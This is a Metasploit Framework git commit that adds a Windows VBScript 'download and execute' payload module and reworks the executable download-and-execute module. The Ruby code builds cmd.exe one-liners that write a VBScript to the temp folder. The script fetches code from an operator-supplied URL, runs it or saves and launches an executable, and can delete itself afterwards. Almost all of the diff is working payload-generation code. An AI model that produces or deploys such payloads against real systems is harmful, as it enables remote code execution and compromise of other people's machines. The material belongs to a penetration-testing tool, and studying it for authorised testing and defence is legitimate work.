Update cmd vbs download payloads.
Use : instead of longer echo statements. Add eval version. git-svn-id: file:///home/svn/framework3/trunk@12912 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
a8d177ec35
commit
5faaa7db07
|
@ -0,0 +1,69 @@
|
|||
# $Id$
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/base/sessions/command_shell'
|
||||
require 'msf/base/sessions/command_shell_options'
|
||||
|
||||
module Metasploit3
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::CommandShellOptions
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Windows .vbs Download and execute',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Downloads a file from an HTTP(S) URL and executes it as a vbs script.
|
||||
Use it to stage a vbs encoded payload from a short command line. ',
|
||||
'Author' => 'scriptjunkie',
|
||||
'License' => BSD_LICENSE,
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Handler' => Msf::Handler::None,
|
||||
'Session' => Msf::Sessions::CommandShell,
|
||||
'PayloadType' => 'cmd',
|
||||
'Payload' =>
|
||||
{
|
||||
'Offsets' => { },
|
||||
'Payload' => ''
|
||||
}
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('URL', [ true, "The pre-encoded URL to the script" ]),
|
||||
OptBool.new('INCLUDECMD', [ true, "Include the cmd /q /c", false ]),
|
||||
OptBool.new('DELETE', [ true, "Delete created .vbs after download", false ])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def generate
|
||||
return super + command_string
|
||||
end
|
||||
|
||||
def command_string
|
||||
# Keep variable names short.
|
||||
vbsname = Rex::Text.rand_text_alpha(1+rand(2))
|
||||
xmlhttpvar = Rex::Text.rand_text_alpha(1+rand(2))
|
||||
|
||||
command = ''
|
||||
command << "cmd.exe /q /c " if datastore['INCLUDECMD']
|
||||
command << "cd %tmp%&echo Set #{xmlhttpvar}=CreateObject(\"Microsoft.XMLHTTP\"):"+
|
||||
"#{xmlhttpvar}.Open \"GET\",\"#{datastore['URL']}\",False:"+
|
||||
"#{xmlhttpvar}.Send:"+
|
||||
"Execute #{xmlhttpvar}.responseText"
|
||||
command << ":CreateObject(\"Scripting.FileSystemObject\").DeleteFile \"#{vbsname}.vbs\"" if datastore['DELETE']
|
||||
|
||||
# "start #{vbsname}.vbs" instead of just "#{vbsname}.vbs" so that the console window
|
||||
# disappears quickly before the wscript libraries load and the file downloads
|
||||
command << " >#{vbsname}.vbs"+
|
||||
"&start #{vbsname}.vbs"
|
||||
end
|
||||
end
|
|
@ -37,7 +37,10 @@ module Metasploit3
|
|||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('URL', [ true, "The pre-encoded URL to the executable" ])
|
||||
OptString.new('URL', [ true, "The pre-encoded URL to the executable" ]),
|
||||
OptString.new('EXT', [ true, "The extension to give the saved file", "exe" ]),
|
||||
OptBool.new('INCLUDECMD', [ true, "Include the cmd /q /c", false ]),
|
||||
OptBool.new('DELETE', [ true, "Delete created .vbs after download", true ])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
@ -52,18 +55,21 @@ module Metasploit3
|
|||
xmlhttpvar = Rex::Text.rand_text_alpha(1+rand(2))
|
||||
streamvar = Rex::Text.rand_text_alpha(1+rand(2))
|
||||
|
||||
command = ''
|
||||
command << "cmd.exe /q /c " if datastore['INCLUDECMD']
|
||||
# "start #{vbsname}.vbs" instead of just "#{vbsname}.vbs" so that the console window
|
||||
# disappears quickly before the wscript libraries load and the file downloads
|
||||
"cmd.exe /q /c echo Set #{xmlhttpvar}=CreateObject(\"Microsoft.XMLHTTP\") >#{vbsname}.vbs"+
|
||||
"&echo #{xmlhttpvar}.Open \"GET\",\"#{datastore['URL']}\",False >>#{vbsname}.vbs"+
|
||||
"&echo #{xmlhttpvar}.Send >>#{vbsname}.vbs"+
|
||||
"&echo Set #{streamvar}=CreateObject(\"ADODB.Stream\") >>#{vbsname}.vbs"+
|
||||
"&echo #{streamvar}.Type=1 >>#{vbsname}.vbs"+
|
||||
"&echo #{streamvar}.Open >>#{vbsname}.vbs"+
|
||||
"&echo #{streamvar}.Write #{xmlhttpvar}.responseBody >>#{vbsname}.vbs"+
|
||||
"&echo #{streamvar}.SaveToFile \"%tmp%\\#{exename}.exe\",2 >>#{vbsname}.vbs"+
|
||||
"&echo CreateObject(\"WScript.Shell\").Run \"%tmp%\\#{exename}.exe\" >>#{vbsname}.vbs"+
|
||||
"&echo CreateObject(\"Scripting.FileSystemObject\").DeleteFile \"#{vbsname}.vbs\" >>#{vbsname}.vbs"+
|
||||
"&start #{vbsname}.vbs"
|
||||
command << "cd %tmp%&echo Set #{xmlhttpvar}=CreateObject(\"Microsoft.XMLHTTP\"):"+
|
||||
"#{xmlhttpvar}.Open \"GET\",\"#{datastore['URL']}\",False:"+
|
||||
"#{xmlhttpvar}.Send:"+
|
||||
"Set #{streamvar}=CreateObject(\"ADODB.Stream\"):"+
|
||||
"#{streamvar}.Type=1:"+
|
||||
"#{streamvar}.Open:"+
|
||||
"#{streamvar}.Write #{xmlhttpvar}.responseBody:"+
|
||||
"#{streamvar}.SaveToFile \"#{exename}.#{datastore['EXT']}\",2:"+
|
||||
"CreateObject(\"WScript.Shell\").Run \"#{exename}.#{datastore['EXT']}\":"
|
||||
command << "CreateObject(\"Scripting.FileSystemObject\").DeleteFile \"#{vbsname}.vbs\"" if datastore['DELETE']
|
||||
command << " >#{vbsname}.vbs"+
|
||||
"&start wscript #{vbsname}.vbs"
|
||||
end
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue